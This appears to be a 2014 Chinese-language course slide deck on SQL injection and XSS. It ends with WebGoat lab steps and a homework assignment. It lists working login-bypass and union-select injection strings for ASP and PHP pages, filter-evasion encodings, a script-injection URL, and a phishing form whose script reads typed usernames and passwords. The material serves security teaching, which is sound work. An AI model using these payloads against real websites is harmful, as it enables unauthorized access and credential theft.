XSS & SQL Injection理論 2014/7/29 許子謙
注意! 此課程僅為教學講解之用,嚴禁惡意測試他人網站系統之安全性,否則造成任何法律糾紛皆自行負責
大綱 SQL Injection Cross-Site Scripting (XSS) WebGoat
SQL Injection前言(1/2) 在現今的應用程式架構中,大部分都含有資料庫,以容納各式各樣的資料 一般的程式設計師在存取資料庫時,往往是利用 Visual Basic等第三代語言來組織 SQL 語言,然後再傳遞給關聯式資料庫系統執行,以建立或刪除資料結構,賦予或移除使用權限,可以新增、修改、刪除或查詢資料
SQL Injection前言(2/2) SQL指令植入式攻擊,也叫資料隱碼攻擊 並非植入電腦病毒,它是利用寫入特殊SQL程式碼攻擊應用程式 只要提供使用者輸入的介面,又沒有做到嚴密的輸入資料型態管制,就有可能遭受攻擊
SQL Injection 原理(1/2) 一般網站登入的SQL語法 正常使用者帳號 : John,密碼 : 1234 Select * from user where UID = ‘ ”&request(“UID”)&” ’ And Password = ‘ ”&request(“Passwd”)” &” ’ 正常使用者帳號 : John,密碼 : 1234 Select * from user where UID = ‘ John ’ And Password = ‘ 1234 ’
SQL Injection 原理(2/2) 攻擊者如果知道系統有個管理者帳號為Admin,則輸入Admin’/* Select * from user where UID = ‘ Admin’/* ’ And Password =‘ ’ p.s : /*符號為註解
正常登入 帳號 : John 密碼 : 1234 Select * from user where UID = ‘ John ’ And Password = ‘ 1234 ’
SQL Injection 攻擊(1/2) 1. 帳號 : John’/* 密碼 : aaa Select * from user where UID =‘ John’/* ’ And Password = ‘ aaa ’
SQL Injection 攻擊(2/2) 1. 帳號 : John 密碼 : a’ or ’ ’=‘ Select * from user where UID =‘ John ’ And Password = ‘a’ or ’ ’=‘ ’
SQL Injection影響 執行多個SQL語法 存取及控制資料庫中的內容 繞過身份驗證機制
檢測 檢測分為具輸入介面之網頁與URL : 具輸入介面之網頁(Web Form) URL(Uniform Resource Locators) http://www.google.com.tw/search?hl=zh-tw&q=sql+injection
Web Form 依照Web Form提供輸入的欄位,能以數字類型(int)或字串類型(string)分類
針對ASP網頁所用測試字串 ‘ or 1 = 1-- “ or 1 = 1-- or 1 = 1-- ‘ or ‘ ‘ = ‘ ‘ or ‘a’ = ‘a “ or “a” = “a ‘ ) or ( ‘a’ = ‘a ‘ or 1 = 1 ‘ or ‘1 = 1
針對PHP網頁所用測試字串 ‘ or 1 = 1 ‘ or ‘1 = 1 ‘/* ‘%23 // ‘# ‘%23 // ‘# ‘ and password = ‘mypass id = -1 union select 1,1,1 id = -1 union select char(97),char(97),char(97) id = 1 union select 1,1,1 from members id = 1 union select 1,1,1 from admin id = -1 union select 1,1,1 from user
URL 與Web Form測試方法相同,唯一不同的地方在於測試字串是加在URL上的變數後面
URL測試範例 例如觀察一個原始網頁URL : 假設變數為int型態 假設變數為string型態 http://127.0.0.1/ASP/SQLInji.asp?ID=1234 假設變數為int型態 http://127.0.0.1/ASP/SQLInji.asp?ID=1234+and+1=1 假設變數為string型態 http://127.0.0.1/ASP/SQLInji.asp?ID=1234’ and ‘1’ = ‘1
利用不同編碼(encodings)進行 大小寫混用 URL Encoding 例如SelecT代替select,SELECT等 ASCII : 『’』的ASCII = 39 Unicode = %27 http://..../login.asp?ID=admin and ‘a’ = ‘a’ || http://..../login.asp?ID=admin and %27a%27 = %27a%27
Cross-Site Scripting (XSS) XSS攻擊是利用動態網頁的特性、程式開發者未嚴格限制使用者輸入與未過濾特殊字串,讓惡意的Script得以在使用者的瀏覽器上執行
XSS攻擊 正常URL : 攻擊URL : http://victim/index.php?act=product&ID=777 http://victim/index.php?act=product<script>alert(/XSS/)</script>&ID=777
XSS攻擊的存在型態 XSS攻擊1 – 外嵌script XSS攻擊2 – 內嵌script XSS攻擊3 – 影音物件 不會留下任何資料於網頁伺服器 XSS攻擊2 – 內嵌script 攻擊的script語法以任何形式存於網頁伺服器 如檔案、資料庫 XSS攻擊3 – 影音物件 攻擊的script語法會嵌在影音物件內
常見的XSS攻擊模式 輕微的XSS攻擊 – 惡作劇 嚴重的XSS攻擊 – 竊取資料 嘗試破壞網頁畫面配置與內容 惡作劇程式、廣告視窗等 主要影響為造成使用者不便 嚴重的XSS攻擊 – 竊取資料 盜取連線資訊 : cookie、帳號密碼 網路釣魚 : 置換登入頁面、騙取使用者帳號密碼 惡意程式 : 瀏覽及下載惡意程式、竊取個人資訊
結論 SQL Injection是相當危險的,即使在防火牆上設定再多規則也無法過濾 XSS是今日Web Application最大的安全威脅來源,只要是非靜態網頁皆可能遭受攻擊 SQL Injection與XSS都是網頁設計師的疏失,為駭客大開後門,因此在設計網頁時,要多注意這類的問題並小心防範
WebGoat Step 1 Step 2 Step 3 Step 4 Open “webgoat.bat” http://localhost/WebGoat/attack 帳號密碼皆為guest Step 3 Start WebGoat Step 4 Injection Flaws Cross-Site Scripting (XSS)
<script> function hack() { alert("User Name = " + document <script> function hack() { alert("User Name = " + document.forms[0].login.value + "Password = " + document.forms[0].pw.value) } </script> <div> <br><br>XSS釣魚攻擊<form action="http://tw.yahoo.com/"> <table> <tr> <td>Login:</td> <td><input type=text length=20 name=login></td> </tr> <td>Password:</td> <td><input type=text length=20 name=password></td> </table> <input type=submit value=LOGIN onclick= " hack()" > </div>
作業 WebGoat 寫一份報告,包括攻擊指令與詳細流程 Mail至sam50502@Hotmail.com Injection Flaws Lab 1.3 Cross-Site Scripting(XSS) Lab 1.3.5 寫一份報告,包括攻擊指令與詳細流程 Mail至sam50502@Hotmail.com 標題 : XSS & SQL Injection作業 內容 : 系級、學號、姓名、附檔word(學號_姓名.doc) Deadline : 2/13